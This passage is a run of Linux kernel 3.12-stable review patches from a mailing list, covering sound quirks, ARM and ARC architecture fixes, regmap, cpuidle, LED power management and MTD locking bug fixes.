 static void topic97_zoom_video(struct pcmcia_socket *sock, int onoff)
 {
 	struct yenta_socket *socket = container_of(sock, struct yenta_socket, socket);
@@ -138,6 +141,7 @@ static int topic97_override(struct yenta_socket *socket)
 static int topic95_override(struct yenta_socket *socket)
 {
 	u8 fctrl;
+	u16 ppbcn;
 
 	/* enable 3.3V support for 16bit cards */
 	fctrl = exca_readb(socket, TOPIC_EXCA_IF_CONTROL);
@@ -146,6 +150,18 @@ static int topic95_override(struct yenta_socket *socket)
 	/* tell yenta to use exca registers to power 16bit cards */
 	socket->flags |= YENTA_16BIT_POWER_EXCA | YENTA_16BIT_POWER_DF;
 
+	/* Disable write buffers to prevent lockups under load with numerous
+	   Cardbus cards, observed on Tecra 500CDT and reported elsewhere on the
+	   net.  This is not a power-on default according to the datasheet
+	   but some BIOSes seem to set it. */
+	if (pci_read_config_word(socket->dev, TOPIC_PCI_CFG_PPBCN, &ppbcn) == 0
+	    && socket->dev->revision <= 7
+	    && (ppbcn & TOPIC_PCI_CFG_PPBCN_WBEN)) {
+		ppbcn &= ~TOPIC_PCI_CFG_PPBCN_WBEN;
+		pci_write_config_word(socket->dev, TOPIC_PCI_CFG_PPBCN, ppbcn);
+		dev_info(&socket->dev->dev, "Disabled ToPIC95 Cardbus write buffers.\n");
+	}
+
 	return 0;
 }
 
-- 
2.4.6

[PATCH 3.12 100/124] ALSA: hda - Add headset support to Acer Aspire V5

[Jiri Slaby]

From: Takashi Iwai <tiwai@suse.de>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 7819717b11346b8a5420b223b46600e394049c66 upstream.

Acer Aspire V5 with ALC282 codec needs the similar quirk like Dell
laptops to support the headset mic.  The headset mic pin is 0x19 and
it's not exposed by BIOS, thus we need to fix the pincfg as well.

Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=96201
Signed-off-by: Takashi Iwai <tiwai@suse.de>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 sound/pci/hda/patch_realtek.c | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/sound/pci/hda/patch_realtek.c b/sound/pci/hda/patch_realtek.c
index 8c6997ff6d2a..cdac002ea37a 100644
--- a/sound/pci/hda/patch_realtek.c
+++ b/sound/pci/hda/patch_realtek.c
@@ -3730,6 +3730,7 @@ enum {
 	ALC269_FIXUP_DELL3_MIC_NO_PRESENCE,
 	ALC269_FIXUP_HEADSET_MODE,
 	ALC269_FIXUP_HEADSET_MODE_NO_HP_MIC,
+	ALC269_FIXUP_ASPIRE_HEADSET_MIC,
 	ALC269_FIXUP_ASUS_X101_FUNC,
 	ALC269_FIXUP_ASUS_X101_VERB,
 	ALC269_FIXUP_ASUS_X101,
@@ -3959,6 +3960,15 @@ static const struct hda_fixup alc269_fixups[] = {
 		.type = HDA_FIXUP_FUNC,
 		.v.func = alc_fixup_headset_mode_no_hp_mic,
 	},
+	[ALC269_FIXUP_ASPIRE_HEADSET_MIC] = {
+		.type = HDA_FIXUP_PINS,
+		.v.pins = (const struct hda_pintbl[]) {
+			{ 0x19, 0x01a1913c }, /* headset mic w/o jack detect */
+			{ }
+		},
+		.chained = true,
+		.chain_id = ALC269_FIXUP_HEADSET_MODE,
+	},
 	[ALC286_FIXUP_SONY_MIC_NO_PRESENCE] = {
 		.type = HDA_FIXUP_PINS,
 		.v.pins = (const struct hda_pintbl[]) {
@@ -4071,6 +4081,8 @@ static const struct snd_pci_quirk alc269_fixup_tbl[] = {
 	SND_PCI_QUIRK(0x1025, 0x029b, "Acer 1810TZ", ALC269_FIXUP_INV_DMIC),
 	SND_PCI_QUIRK(0x1025, 0x0349, "Acer AOD260", ALC269_FIXUP_INV_DMIC),
 	SND_PCI_QUIRK(0x1025, 0x047c, "Acer AC700", ALC269_FIXUP_ACER_AC700),
+	SND_PCI_QUIRK(0x1025, 0x072d, "Acer Aspire V5-571G", ALC269_FIXUP_ASPIRE_HEADSET_MIC),
+	SND_PCI_QUIRK(0x1025, 0x080d, "Acer Aspire V5-122P", ALC269_FIXUP_ASPIRE_HEADSET_MIC),
 	SND_PCI_QUIRK(0x1025, 0x0740, "Acer AO725", ALC271_FIXUP_HP_GATE_MIC_JACK),
 	SND_PCI_QUIRK(0x1025, 0x0742, "Acer AO756", ALC271_FIXUP_HP_GATE_MIC_JACK),
 	SND_PCI_QUIRK_VENDOR(0x1025, "Acer Aspire", ALC271_FIXUP_DMIC),
-- 
2.4.6

[PATCH 3.12 101/124] ALSA: hda - Fix the dock headphone output on Fujitsu Lifebook E780

[Jiri Slaby]

From: Takashi Iwai <tiwai@suse.de>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 4df3fd1700abbb53bd874143dfd1f9ac9e7cbf4b upstream.

Fujitsu Lifebook E780 sets the sequence number 0x0f to only only of
the two headphones, thus the driver tries to assign another as the
line-out, and this results in the inconsistent mapping between the
created jack ctl and the actual I/O.  Due to this, PulseAudio doesn't
handle it properly and gets the silent output.

The fix is to ignore the non-HP sequencer checks.

Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=99681
Signed-off-by: Takashi Iwai <tiwai@suse.de>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 sound/pci/hda/patch_realtek.c | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/sound/pci/hda/patch_realtek.c b/sound/pci/hda/patch_realtek.c
index cdac002ea37a..88e76482b92a 100644
--- a/sound/pci/hda/patch_realtek.c
+++ b/sound/pci/hda/patch_realtek.c
@@ -3712,6 +3712,7 @@ enum {
 	ALC269_FIXUP_LIFEBOOK,
 	ALC269_FIXUP_LIFEBOOK_EXTMIC,
 	ALC269_FIXUP_LIFEBOOK_HP_PIN,
+	ALC269_FIXUP_LIFEBOOK_NO_HP_TO_LINEOUT,
 	ALC269_FIXUP_AMIC,
 	ALC269_FIXUP_DMIC,
 	ALC269VB_FIXUP_AMIC,
@@ -3844,6 +3845,10 @@ static const struct hda_fixup alc269_fixups[] = {
 			{ }
 		},
 	},
+	[ALC269_FIXUP_LIFEBOOK_NO_HP_TO_LINEOUT] = {
+		.type = HDA_FIXUP_FUNC,
+		.v.func = alc269_fixup_pincfg_no_hp_to_lineout,
+	},
 	[ALC269_FIXUP_AMIC] = {
 		.type = HDA_FIXUP_PINS,
 		.v.pins = (const struct hda_pintbl[]) {
@@ -4154,6 +4159,7 @@ static const struct snd_pci_quirk alc269_fixup_tbl[] = {
 	SND_PCI_QUIRK(0x104d, 0x9084, "Sony VAIO", ALC275_FIXUP_SONY_HWEQ),
 	SND_PCI_QUIRK_VENDOR(0x104d, "Sony VAIO", ALC269_FIXUP_SONY_VAIO),
 	SND_PCI_QUIRK(0x10cf, 0x1475, "Lifebook", ALC269_FIXUP_LIFEBOOK),
+	SND_PCI_QUIRK(0x10cf, 0x159f, "Lifebook E780", ALC269_FIXUP_LIFEBOOK_NO_HP_TO_LINEOUT),
 	SND_PCI_QUIRK(0x10cf, 0x15dc, "Lifebook T731", ALC269_FIXUP_LIFEBOOK_HP_PIN),
 	SND_PCI_QUIRK(0x10cf, 0x1757, "Lifebook E752", ALC269_FIXUP_LIFEBOOK_HP_PIN),
 	SND_PCI_QUIRK(0x10cf, 0x1845, "Lifebook U904", ALC269_FIXUP_LIFEBOOK_EXTMIC),
-- 
2.4.6

[PATCH 3.12 102/124] ARC: add compiler barrier to LLSC based cmpxchg

[Jiri Slaby]

From: Vineet Gupta <vgupta@synopsys.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit d57f727264f1425a94689bafc7e99e502cb135b5 upstream.

When auditing cmpxchg call sites, Chuck noted that gcc was optimizing
away some of the desired LDs.

|	do {
|		new = old = *ipi_data_ptr;
|		new |= 1U << msg;
|	} while (cmpxchg(ipi_data_ptr, old, new) != old);

was generating to below

| 8015cef8:	ld         r2,[r4,0]  <-- First LD
| 8015cefc:	bset       r1,r2,r1
|
| 8015cf00:	llock      r3,[r4]  <-- atomic op
| 8015cf04:	brne       r3,r2,8015cf10
| 8015cf08:	scond      r1,[r4]
| 8015cf0c:	bnz        8015cf00
|
| 8015cf10:	brne       r3,r2,8015cf00  <-- Branch doesn't go to orig LD

Although this was fixed by adding a ACCESS_ONCE in this call site, it
seems safer (for now at least) to add compiler barrier to LLSC based
cmpxchg

Reported-by: Chuck Jordan <cjordan@synopsys.com>
Acked-by: Peter Zijlstra (Intel) <peterz@infradead.org>
Signed-off-by: Vineet Gupta <vgupta@synopsys.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/arc/include/asm/cmpxchg.h | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/arch/arc/include/asm/cmpxchg.h b/arch/arc/include/asm/cmpxchg.h
index 03cd6894855d..90de5c528da2 100644
--- a/arch/arc/include/asm/cmpxchg.h
+++ b/arch/arc/include/asm/cmpxchg.h
@@ -25,10 +25,11 @@ __cmpxchg(volatile void *ptr, unsigned long expected, unsigned long new)
 	"	scond   %3, [%1]	\n"
 	"	bnz     1b		\n"
 	"2:				\n"
-	: "=&r"(prev)
-	: "r"(ptr), "ir"(expected),
-	  "r"(new) /* can't be "ir". scond can't take limm for "b" */
-	: "cc");
+	: "=&r"(prev)	/* Early clobber, to prevent reg reuse */
+	: "r"(ptr),	/* Not "m": llock only supports reg direct addr mode */
+	  "ir"(expected),
+	  "r"(new)	/* can't be "ir". scond can't take LIMM for "b" */
+	: "cc", "memory"); /* so that gcc knows memory is being written here */
 
 	return prev;
 }
-- 
2.4.6

[PATCH 3.12 103/124] arm64: Do not attempt to use init_mm in reset_context()

[Jiri Slaby]

From: Catalin Marinas <catalin.marinas@arm.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 565630d503ef24e44c252bed55571b3a0d68455f upstream.

After secondary CPU boot or hotplug, the active_mm of the idle thread is
&init_mm. The init_mm.pgd (swapper_pg_dir) is only meant for TTBR1_EL1
and must not be set in TTBR0_EL1. Since when active_mm == &init_mm the
TTBR0_EL1 is already set to the reserved value, there is no need to
perform any context reset.

Signed-off-by: Catalin Marinas <catalin.marinas@arm.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/arm64/mm/context.c | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/arch/arm64/mm/context.c b/arch/arm64/mm/context.c
index baa758d37021..76c1e6cd36fc 100644
--- a/arch/arm64/mm/context.c
+++ b/arch/arm64/mm/context.c
@@ -92,6 +92,14 @@ static void reset_context(void *info)
 	unsigned int cpu = smp_processor_id();
 	struct mm_struct *mm = current->active_mm;
 
+	/*
+	 * current->active_mm could be init_mm for the idle thread immediately
+	 * after secondary CPU boot or hotplug. TTBR0_EL1 is already set to
+	 * the reserved value, so no need to reset any context.
+	 */
+	if (mm == &init_mm)
+		return;
+
 	smp_rmb();
 	asid = cpu_last_asid + cpu;
 
-- 
2.4.6

[PATCH 3.12 104/124] arm64: mm: Fix freeing of the wrong memmap entries with !SPARSEMEM_VMEMMAP

[Jiri Slaby]

From: Dave P Martin <Dave.Martin@arm.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit b9bcc919931611498e856eae9bf66337330d04cc upstream.

The memmap freeing code in free_unused_memmap() computes the end of
each memblock by adding the memblock size onto the base.  However,
if SPARSEMEM is enabled then the value (start) used for the base
may already have been rounded downwards to work out which memmap
entries to free after the previous memblock.

This may cause memmap entries that are in use to get freed.

In general, you're not likely to hit this problem unless there
are at least 2 memblocks and one of them is not aligned to a
sparsemem section boundary.  Note that carve-outs can increase
the number of memblocks by splitting the regions listed in the
device tree.

This problem doesn't occur with SPARSEMEM_VMEMMAP, because the
vmemmap code deals with freeing the unused regions of the memmap
instead of requiring the arch code to do it.

This patch gets the memblock base out of the memblock directly when
computing the block end address to ensure the correct value is used.

Signed-off-by: Dave Martin <Dave.Martin@arm.com>
Signed-off-by: Catalin Marinas <catalin.marinas@arm.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/arm64/mm/init.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/arm64/mm/init.c b/arch/arm64/mm/init.c
index de2de5db628d..cfe3ad835d16 100644
--- a/arch/arm64/mm/init.c
+++ b/arch/arm64/mm/init.c
@@ -253,7 +253,7 @@ static void __init free_unused_memmap(void)
 		 * memmap entries are valid from the bank end aligned to
 		 * MAX_ORDER_NR_PAGES.
 		 */
-		prev_end = ALIGN(start + __phys_to_pfn(reg->size),
+		prev_end = ALIGN(__phys_to_pfn(reg->base + reg->size),
 				 MAX_ORDER_NR_PAGES);
 	}
 
-- 
2.4.6

[PATCH 3.12 105/124] arm64: vdso: work-around broken ELF toolchains in Makefile

[Jiri Slaby]

From: Will Deacon <will.deacon@arm.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 6f1a6ae87c0c60d7c462ef8fd071f291aa7a9abb upstream.

When building the kernel with a bare-metal (ELF) toolchain, the -shared
option may not be passed down to collect2, resulting in silent corruption
of the vDSO image (in particular, the DYNAMIC section is omitted).

The effect of this corruption is that the dynamic linker fails to find
the vDSO symbols and libc is instead used for the syscalls that we
intended to optimise (e.g. gettimeofday). Functionally, there is no
issue as the sigreturn trampoline is still intact and located by the
kernel.

This patch fixes the problem by explicitly passing -shared to the linker
when building the vDSO.

Reported-by: Szabolcs Nagy <Szabolcs.Nagy@arm.com>
Reported-by: James Greenlaigh <james.greenhalgh@arm.com>
Signed-off-by: Will Deacon <will.deacon@arm.com>
Signed-off-by: Catalin Marinas <catalin.marinas@arm.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/arm64/kernel/vdso/Makefile | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/arch/arm64/kernel/vdso/Makefile b/arch/arm64/kernel/vdso/Makefile
index a268a9af0c2d..a622dd0be9c4 100644
--- a/arch/arm64/kernel/vdso/Makefile
+++ b/arch/arm64/kernel/vdso/Makefile
@@ -15,6 +15,10 @@ ccflags-y := -shared -fno-common -fno-builtin
 ccflags-y += -nostdlib -Wl,-soname=linux-vdso.so.1 \
 		$(call cc-ldoption, -Wl$(comma)--hash-style=sysv)
 
+# Workaround for bare-metal (ELF) toolchains that neglect to pass -shared
+# down to collect2, resulting in silent corruption of the vDSO image.
+ccflags-y += -Wl,-shared
+
 obj-y += vdso.o
 extra-y += vdso.lds vdso-offsets.h
 CPPFLAGS_vdso.lds += -P -C -U$(ARCH)
-- 
2.4.6

[PATCH 3.12 106/124] cpuidle / menu: Return (-1) if there are no suitable states

[Jiri Slaby]

From: "Rafael J. Wysocki" <rafael.j.wysocki@intel.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 3836785a1bdcd6706c68ad46bf53adc0b057b310 upstream.

If there is a PM QoS latency limit and all of the sufficiently shallow
C-states are disabled, the cpuidle menu governor returns 0 which on
some systems is CPUIDLE_DRIVER_STATE_START and shouldn't be returned
if that C-state has been disabled.

Fix the issue by modifying the menu governor to return (-1) in such
situations.

Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
[shilpab: Backport to 3.10.y
 - adjust context
 - add a check if 'next_state' is less than 0 in 'cpuidle_idle_call()',
   this ensures that we exit 'cpuidle_idle_call()' if governor->select()
   returns  negative value]
Signed-off-by: Shilpasri G Bhat <shilpa.bhat@linux.vnet.ibm.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/cpuidle/cpuidle.c        | 3 +++
 drivers/cpuidle/governors/menu.c | 2 +-
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/drivers/cpuidle/cpuidle.c b/drivers/cpuidle/cpuidle.c
index 22c07fb6ab78..ef44248a5c37 100644
--- a/drivers/cpuidle/cpuidle.c
+++ b/drivers/cpuidle/cpuidle.c
@@ -133,6 +133,9 @@ int cpuidle_idle_call(void)
 
 	/* ask the governor for the next state */
 	next_state = cpuidle_curr_governor->select(drv, dev);
+	if (next_state < 0)
+		return -EBUSY;
+
 	if (need_resched()) {
 		dev->last_residency = 0;
 		/* give the governor an opportunity to reflect on the outcome */
diff --git a/drivers/cpuidle/governors/menu.c b/drivers/cpuidle/governors/menu.c
index cf7f2f0e4ef5..027c484e1ec9 100644
--- a/drivers/cpuidle/governors/menu.c
+++ b/drivers/cpuidle/governors/menu.c
@@ -297,7 +297,7 @@ static int menu_select(struct cpuidle_driver *drv, struct cpuidle_device *dev)
 		data->needs_update = 0;
 	}
 
-	data->last_state_idx = 0;
+	data->last_state_idx = CPUIDLE_DRIVER_STATE_START - 1;
 	data->exit_us = 0;
 
 	/* Special case when user has set very strict latency requirement */
-- 
2.4.6

[PATCH 3.12 107/124] regmap: Fix regmap_bulk_read in BE mode

[Jiri Slaby]

From: Arun Chandran <achandran@mvista.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 15b8d2c41fe5839582029f65c5f7004db451cc2b upstream.

In big endian mode regmap_bulk_read gives incorrect data
for byte reads.

This is because memcpy of a single byte from an address
after full word read gives different results when
endianness differs. ie. we get little-end in LE and big-end in BE.

Signed-off-by: Arun Chandran <achandran@mvista.com>
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/base/regmap/regmap.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/base/regmap/regmap.c b/drivers/base/regmap/regmap.c
index 9f7990187653..45aec73d09bd 100644
--- a/drivers/base/regmap/regmap.c
+++ b/drivers/base/regmap/regmap.c
@@ -1736,7 +1736,7 @@ int regmap_bulk_read(struct regmap *map, unsigned int reg, void *val,
 					  &ival);
 			if (ret != 0)
 				return ret;
-			memcpy(val + (i * val_bytes), &ival, val_bytes);
+			map->format.format_val(val + (i * val_bytes), ival, 0);
 		}
 	}
 
-- 
2.4.6

[PATCH 3.12 108/124] regmap: Fix possible shift overflow in regmap_field_init()

[Jiri Slaby]

From: Maxime Coquelin <maxime.coquelin@st.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 921cc29473a0d7c109105c1876ddb432f4a4be7d upstream.

The way the mask is generated in regmap_field_init() is wrong.
Indeed, a field initialized with msb = 31 and lsb = 0 provokes a shift
overflow while calculating the mask field.

On some 32 bits architectures, such as x86, the generated mask is 0,
instead of the expected 0xffffffff.

This patch uses GENMASK() to fix the problem, as this macro is already safe
regarding shift overflow.

[-js: in 3.12, we do not have GENMASK for general access. Define
locally as RM_GENMASK.]

Signed-off-by: Maxime Coquelin <maxime.coquelin@st.com>
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/base/regmap/regmap.c | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/drivers/base/regmap/regmap.c b/drivers/base/regmap/regmap.c
index 45aec73d09bd..8ece0fe4033f 100644
--- a/drivers/base/regmap/regmap.c
+++ b/drivers/base/regmap/regmap.c
@@ -813,14 +813,16 @@ struct regmap *devm_regmap_init(struct device *dev,
 }
 EXPORT_SYMBOL_GPL(devm_regmap_init);
 
+#define RM_GENMASK(h, l) \
+	        (((~0UL) << (l)) & (~0UL >> (BITS_PER_LONG - 1 - (h))))
+
 static void regmap_field_init(struct regmap_field *rm_field,
 	struct regmap *regmap, struct reg_field reg_field)
 {
-	int field_bits = reg_field.msb - reg_field.lsb + 1;
 	rm_field->regmap = regmap;
 	rm_field->reg = reg_field.reg;
 	rm_field->shift = reg_field.lsb;
-	rm_field->mask = ((BIT(field_bits) - 1) << reg_field.lsb);
+	rm_field->mask = RM_GENMASK(reg_field.msb, reg_field.lsb);
 }
 
 /**
-- 
2.4.6

[PATCH 3.12 109/124] regulator: core: fix constraints output buffer

[Jiri Slaby]

From: Stefan Wahren <stefan.wahren@i2se.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit a7068e3932eee8268c4ce4e080a338ee7b8a27bf upstream.

The buffer for condtraints debug isn't big enough to hold the output
in all cases. So fix this issue by increasing the buffer.

Signed-off-by: Stefan Wahren <stefan.wahren@i2se.com>
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/regulator/core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/regulator/core.c b/drivers/regulator/core.c
index ef79c1c4280f..eb87279f3c73 100644
--- a/drivers/regulator/core.c
+++ b/drivers/regulator/core.c
@@ -773,7 +773,7 @@ static int suspend_prepare(struct regulator_dev *rdev, suspend_state_t state)
 static void print_constraints(struct regulator_dev *rdev)
 {
 	struct regulation_constraints *constraints = rdev->constraints;
-	char buf[80] = "";
+	char buf[160] = "";
 	int count = 0;
 	int ret;
 
-- 
2.4.6

[PATCH 3.12 110/124] spi: pl022: Specify 'num-cs' property as required in devicetree binding

[Jiri Slaby]

From: Ezequiel Garcia <ezequiel@vanguardiasur.com.ar>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit ea6055c46eda1e19e02209814955e13f334bbe1b upstream.

Since commit 39a6ac11df65 ("spi/pl022: Devicetree support w/o platform data")
the 'num-cs' parameter cannot be passed through platform data when probing
with devicetree. Instead, it's a required devicetree property.

Fix the binding documentation so the property is properly specified.

Fixes: 39a6ac11df65 ("spi/pl022: Devicetree support w/o platform data")
Signed-off-by: Ezequiel Garcia <ezequiel@vanguardiasur.com.ar>
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 Documentation/devicetree/bindings/spi/spi_pl022.txt | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Documentation/devicetree/bindings/spi/spi_pl022.txt b/Documentation/devicetree/bindings/spi/spi_pl022.txt
index 22ed6797216d..4d1673ca8cf8 100644
--- a/Documentation/devicetree/bindings/spi/spi_pl022.txt
+++ b/Documentation/devicetree/bindings/spi/spi_pl022.txt
@@ -4,9 +4,9 @@ Required properties:
 - compatible : "arm,pl022", "arm,primecell"
 - reg : Offset and length of the register set for the device
 - interrupts : Should contain SPI controller interrupt
+- num-cs : total number of chipselects
 
 Optional properties:
-- num-cs : total number of chipselects
 - cs-gpios : should specify GPIOs used for chipselects.
   The gpios will be referred to as reg = <index> in the SPI child nodes.
   If unspecified, a single SPI device without a chip select can be used.
-- 
2.4.6

[PATCH 3.12 111/124] leds / PM: fix hibernation on arm when gpio-led used with CPU led trigger

[Jiri Slaby]

From: Grygorii Strashko <Grygorii.Strashko@linaro.org>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 084609bf727981c7a2e6e69aefe0052c9d793300 upstream.

Setting a dev_pm_ops suspend/resume pair of callbacks but not a set of
hibernation callbacks means those pm functions will not be
called upon hibernation - that leads to system crash on ARM during
freezing if gpio-led is used in combination with CPU led trigger.
It may happen after freeze_noirq stage (GPIO is suspended)
and before syscore_suspend stage (CPU led trigger is suspended)
- usually when disable_nonboot_cpus() is called.

Log:
  PM: noirq freeze of devices complete after 1.425 msecs
  Disabling non-boot CPUs ...
    ^ system may crash or stuck here with message (TI AM572x)

  WARNING: CPU: 0 PID: 3100 at drivers/bus/omap_l3_noc.c:148 l3_interrupt_handler+0x22c/0x370()
  44000000.ocp:L3 Custom Error: MASTER MPU TARGET L4_PER1_P3 (Idle): Data Access in Supervisor mode during Functional access

  CPU1: shutdown
    ^ or here

Fix this by using SIMPLE_DEV_PM_OPS, which appropriately
assigns the suspend and hibernation callbacks and move
led_suspend/led_resume under CONFIG_PM_SLEEP to avoid
build warnings.

Fixes: 73e1ab41a80d (leds: Convert led class driver from legacy pm ops to dev_pm_ops)
Signed-off-by: Grygorii Strashko <Grygorii.Strashko@linaro.org>
Acked-by: Jacek Anaszewski <j.anaszewski@samsung.com>
Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/leds/led-class.c | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/drivers/leds/led-class.c b/drivers/leds/led-class.c
index f37d63cf726b..825545cdfb10 100644
--- a/drivers/leds/led-class.c
+++ b/drivers/leds/led-class.c
@@ -178,6 +178,7 @@ void led_classdev_resume(struct led_classdev *led_cdev)
 }
 EXPORT_SYMBOL_GPL(led_classdev_resume);
 
+#ifdef CONFIG_PM_SLEEP
 static int led_suspend(struct device *dev)
 {
 	struct led_classdev *led_cdev = dev_get_drvdata(dev);
@@ -197,11 +198,9 @@ static int led_resume(struct device *dev)
 
 	return 0;
 }
+#endif
 
-static const struct dev_pm_ops leds_class_dev_pm_ops = {
-	.suspend        = led_suspend,
-	.resume         = led_resume,
-};
+static SIMPLE_DEV_PM_OPS(leds_class_dev_pm_ops, led_suspend, led_resume);
 
 /**
  * led_classdev_register - register a new object of led_classdev class.
-- 
2.4.6

[PATCH 3.12 112/124] mtd: fix: avoid race condition when accessing mtd->usecount

[Jiri Slaby]

From: Brian Norris <computersforpeace@gmail.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 073db4a51ee43ccb827f54a4261c0583b028d5ab upstream.

On A MIPS 32-cores machine a BUG_ON was triggered because some acesses to
mtd->usecount were done without taking mtd_table_mutex.
kernel: Call Trace:
kernel: [<ffffffff80401818>] __put_mtd_device+0x20/0x50
kernel: [<ffffffff804086f4>] blktrans_release+0x8c/0xd8
kernel: [<ffffffff802577e0>] __blkdev_put+0x1a8/0x200
kernel: [<ffffffff802579a4>] blkdev_close+0x1c/0x30
kernel: [<ffffffff8022006c>] __fput+0xac/0x250
kernel: [<ffffffff80171208>] task_work_run+0xd8/0x120
kernel: [<ffffffff8012c23c>] work_notifysig+0x10/0x18
kernel:
kernel:
        Code: 2442ffff  ac8202d8  000217fe <00020336> dc820128  10400003
               00000000  0040f809  00000000
kernel: ---[ end trace 080fbb4579b47a73 ]---

Fixed by taking the mutex in blktrans_open and blktrans_release.

Note that this locking is already suggested in
include/linux/mtd/blktrans.h:

struct mtd_blktrans_ops {
...
	/* Called with mtd_table_mutex held; no race with add/remove */
	int (*open)(struct mtd_blktrans_dev *dev);
	void (*release)(struct mtd_blktrans_dev *dev);
...
};

But we weren't following it.

Originally reported by (and patched by) Zhang and Giuseppe,
independently. Improved and rewritten.

Reported-by: Zhang Xingcai <zhangxingcai@huawei.com>
Reported-by: Giuseppe Cantavenera <giuseppe.cantavenera.ext@nokia.com>
Tested-by: Giuseppe Cantavenera <giuseppe.cantavenera.ext@nokia.com>
Acked-by: Alexander Sverdlin <alexander.sverdlin@nokia.com>
Signed-off-by: Brian Norris <computersforpeace@gmail.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/mtd/mtd_blkdevs.c | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/drivers/mtd/mtd_blkdevs.c b/drivers/mtd/mtd_blkdevs.c
index 5073cbc796d8..32d5e40c6863 100644
--- a/drivers/mtd/mtd_blkdevs.c
+++ b/drivers/mtd/mtd_blkdevs.c
@@ -199,6 +199,7 @@ static int blktrans_open(struct block_device *bdev, fmode_t mode)
 		return -ERESTARTSYS; /* FIXME: busy loop! -arnd*/
 
 	mutex_lock(&dev->lock);
+	mutex_lock(&mtd_table_mutex);
 
 	if (dev->open)
 		goto unlock;
@@ -222,6 +223,7 @@ static int blktrans_open(struct block_device *bdev, fmode_t mode)
 
 unlock:
 	dev->open++;
+	mutex_unlock(&mtd_table_mutex);
 	mutex_unlock(&dev->lock);
 	blktrans_dev_put(dev);
 	return ret;
@@ -232,6 +234,7 @@ error_release:
 error_put:
 	module_put(dev->tr->owner);
 	kref_put(&dev->ref, blktrans_dev_release);
+	mutex_unlock(&mtd_table_mutex);
 	mutex_unlock(&dev->lock);
 	blktrans_dev_put(dev);
 	return ret;
@@ -245,6 +248,7 @@ static void blktrans_release(struct gendisk *disk, fmode_t mode)
 		return;
 
 	mutex_lock(&dev->lock);
+	mutex_lock(&mtd_table_mutex);
 
 	if (--dev->open)
 		goto unlock;
@@ -258,6 +262,7 @@ static void blktrans_release(struct gendisk *disk, fmode_t mode)
 		__put_mtd_device(dev->mtd);
 	}
 unlock:
+	mutex_unlock(&mtd_table_mutex);
 	mutex_unlock(&dev->lock);
 	blktrans_dev_put(dev);
 }
-- 
2.4.6

[PATCH 3.12 113/124] mtd: dc21285: use raw spinlock functions for nw_gpio_lock

[Jiri Slaby]

From: Uwe Kleine-König <u.kleine-koenig@pengutronix.de>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit e5babdf928e5d0c432a8d4b99f20421ce14d1ab6 upstream.

Since commit bd31b85960a7 (which is in 3.2-rc1) nw_gpio_lock is a raw spinlock
that needs usage of the corresponding raw functions.

This fixes:

  drivers/mtd/maps/dc21285.c: In function 'nw_en_write':
  drivers/mtd/maps/dc21285.c:41:340: warning: passing argument 1 of 'spinlock_check' from incompatible pointer type
    spin_lock_irqsave(&nw_gpio_lock, flags);

  In file included from include/linux/seqlock.h:35:0,
                   from include/linux/time.h:5,
                   from include/linux/stat.h:18,
                   from include/linux/module.h:10,
                   from drivers/mtd/maps/dc21285.c:8:
  include/linux/spinlock.h:299:102: note: expected 'struct spinlock_t *' but argument is of type 'struct raw_spinlock_t *'
   static inline raw_spinlock_t *spinlock_check(spinlock_t *lock)
                                                                                                        ^
  drivers/mtd/maps/dc21285.c:43:25: warning: passing argument 1 of 'spin_unlock_irqrestore' from incompatible pointer type
    spin_unlock_irqrestore(&nw_gpio_lock, flags);
                           ^
  In file included from include/linux/seqlock.h:35:0,
                   from include/linux/time.h:5,
                   from include/linux/stat.h:18,
                   from include/linux/module.h:10,
                   from drivers/mtd/maps/dc21285.c:8:
